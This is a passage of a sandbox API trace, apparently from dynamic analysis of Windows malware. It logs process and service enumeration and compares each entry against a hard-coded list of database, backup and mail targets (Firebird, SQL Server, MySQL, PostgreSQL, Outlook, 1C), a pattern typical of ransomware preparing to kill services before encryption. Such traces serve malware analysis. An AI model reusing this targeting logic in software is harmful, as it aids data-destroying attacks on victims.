	[0100.418] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0100.748] lstrlenW (lpString="VSSVC.exe") returned 9
	[0100.748] Process32NextW (in: hSnapshot=0x1d8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0
	[0100.749] CloseHandle (hObject=0x1d8) returned 1
	[0100.749] Sleep (dwMilliseconds=0x1f4) 
	[0101.397] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0d08
	[0101.398] EnumServicesStatusExW (in: hSCManager=0x35d0d08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0101.398] GetLastError () returned 0xea
	[0101.398] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x123e) returned 0x3f802b8
	[0101.398] EnumServicesStatusExW (in: hSCManager=0x35d0d08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f802b8, cbBufSize=0x123e, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f802b8, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0101.399] CloseServiceHandle (hSCObject=0x35d0d08) returned 1
	[0101.399] lstrlenW (lpString="Appinfo") returned 7
	[0101.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0101.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0101.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0101.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0101.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0101.399] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0101.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0101.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0101.399] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0101.399] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0101.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0101.399] lstrlenW (lpString="AudioSrv") returned 8
	[0101.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0101.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0101.399] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0101.399] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0101.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0101.400] lstrlenW (lpString="BFE") returned 3
	[0101.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0101.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0101.400] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0101.400] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0101.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0101.400] lstrlenW (lpString="CryptSvc") returned 8
	[0101.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0101.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0101.400] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0101.400] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0101.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0101.400] lstrlenW (lpString="CscService") returned 10
	[0101.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0101.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0101.400] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0101.400] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0101.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0101.400] lstrlenW (lpString="DcomLaunch") returned 10
	[0101.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0101.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0101.400] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0101.400] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0101.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0101.400] lstrlenW (lpString="Dhcp") returned 4
	[0101.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0101.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0101.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0101.401] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0101.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0101.401] lstrlenW (lpString="Dnscache") returned 8
	[0101.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0101.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0101.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0101.401] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0101.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0101.401] lstrlenW (lpString="DPS") returned 3
	[0101.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0101.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0101.401] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0101.401] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0101.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0101.401] lstrlenW (lpString="eventlog") returned 8
	[0101.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0101.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0101.401] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0101.401] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0101.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0101.401] lstrlenW (lpString="EventSystem") returned 11
	[0101.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0101.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0101.402] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0101.402] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0101.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0101.402] lstrlenW (lpString="gpsvc") returned 5
	[0101.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0101.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0101.402] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0101.402] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0101.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0101.402] lstrlenW (lpString="iphlpsvc") returned 8
	[0101.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0101.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0101.402] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0101.402] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0101.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0101.402] lstrlenW (lpString="LanmanServer") returned 12
	[0101.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0101.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0101.402] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0101.402] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0101.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0101.402] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0101.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0101.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0101.402] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0101.402] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0101.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0101.403] lstrlenW (lpString="lmhosts") returned 7
	[0101.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0101.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0101.403] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0101.403] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0101.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0101.403] lstrlenW (lpString="MMCSS") returned 5
	[0101.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0101.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0101.403] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0101.403] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0101.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0101.403] lstrlenW (lpString="MpsSvc") returned 6
	[0101.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0101.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0101.403] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0101.403] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0101.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0101.403] lstrlenW (lpString="Netman") returned 6
	[0101.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0101.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0101.403] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0101.403] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0101.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0101.404] lstrlenW (lpString="netprofm") returned 8
	[0101.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0101.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0101.404] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0101.404] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0101.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0101.404] lstrlenW (lpString="NlaSvc") returned 6
	[0101.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0101.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0101.404] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0101.404] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0101.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0101.404] lstrlenW (lpString="nsi") returned 3
	[0101.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0101.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0101.404] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0101.404] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0101.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0101.404] lstrlenW (lpString="PcaSvc") returned 6
	[0101.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0101.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0101.404] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0101.404] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0101.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0101.404] lstrlenW (lpString="PlugPlay") returned 8
	[0101.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0101.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0101.405] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0101.405] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0101.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0101.405] lstrlenW (lpString="Power") returned 5
	[0101.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0101.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0101.405] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0101.405] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0101.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0101.405] lstrlenW (lpString="ProfSvc") returned 7
	[0101.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0101.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0101.405] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0101.405] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0101.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0101.405] lstrlenW (lpString="RpcEptMapper") returned 12
	[0101.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0101.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0101.405] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0101.405] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0101.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0101.405] lstrlenW (lpString="RpcSs") returned 5
	[0101.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0101.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0101.406] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0101.406] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0101.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0101.406] lstrlenW (lpString="SamSs") returned 5
	[0101.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0101.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0101.406] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0101.406] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0101.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0101.406] lstrlenW (lpString="Schedule") returned 8
	[0101.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0101.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0101.406] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0101.406] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0101.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0101.406] lstrlenW (lpString="SENS") returned 4
	[0101.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0101.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0101.406] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0101.406] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0101.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0101.406] lstrlenW (lpString="ShellHWDetection") returned 16
	[0101.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0101.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0101.406] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0101.407] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0101.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0101.407] lstrlenW (lpString="Spooler") returned 7
	[0101.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0101.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0101.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0101.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0101.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0101.407] lstrlenW (lpString="SysMain") returned 7
	[0101.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0101.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0101.407] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0101.407] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0101.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0101.407] lstrlenW (lpString="Themes") returned 6
	[0101.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0101.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0101.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0101.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0101.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0101.407] lstrlenW (lpString="TrkWks") returned 6
	[0101.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0101.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0101.407] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0101.407] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0101.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0101.408] lstrlenW (lpString="UxSms") returned 5
	[0101.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0101.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0101.408] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0101.408] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0101.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0101.408] lstrlenW (lpString="VSS") returned 3
	[0101.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0101.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0101.408] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0101.408] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0101.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0101.408] lstrlenW (lpString="WdiServiceHost") returned 14
	[0101.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0101.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0101.408] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0101.408] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0101.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0101.408] lstrlenW (lpString="WdiSystemHost") returned 13
	[0101.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0101.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0101.408] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0101.408] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0101.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0101.409] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0101.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0101.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0101.409] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0101.409] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0101.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0101.409] lstrlenW (lpString="Winmgmt") returned 7
	[0101.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0101.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0101.409] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0101.409] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0101.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0101.409] lstrlenW (lpString="WPDBusEnum") returned 10
	[0101.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0101.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0101.409] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0101.409] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0101.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0101.409] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f802b8 | out: hHeap=0x4a0000) returned 1
	[0101.409] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8
	[0101.412] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0101.413] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0101.414] lstrlenW (lpString="System") returned 6
	[0101.414] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0101.414] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0101.414] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0101.414] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0101.414] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0101.414] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0101.414] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0101.414] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0101.415] lstrlenW (lpString="smss.exe") returned 8
	[0101.415] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0101.415] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0101.415] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0101.415] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0101.415] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0101.415] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0101.415] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0101.415] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0101.416] lstrlenW (lpString="csrss.exe") returned 9
	[0101.416] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0101.416] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0101.417] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0101.417] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0101.417] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0101.417] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0101.417] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
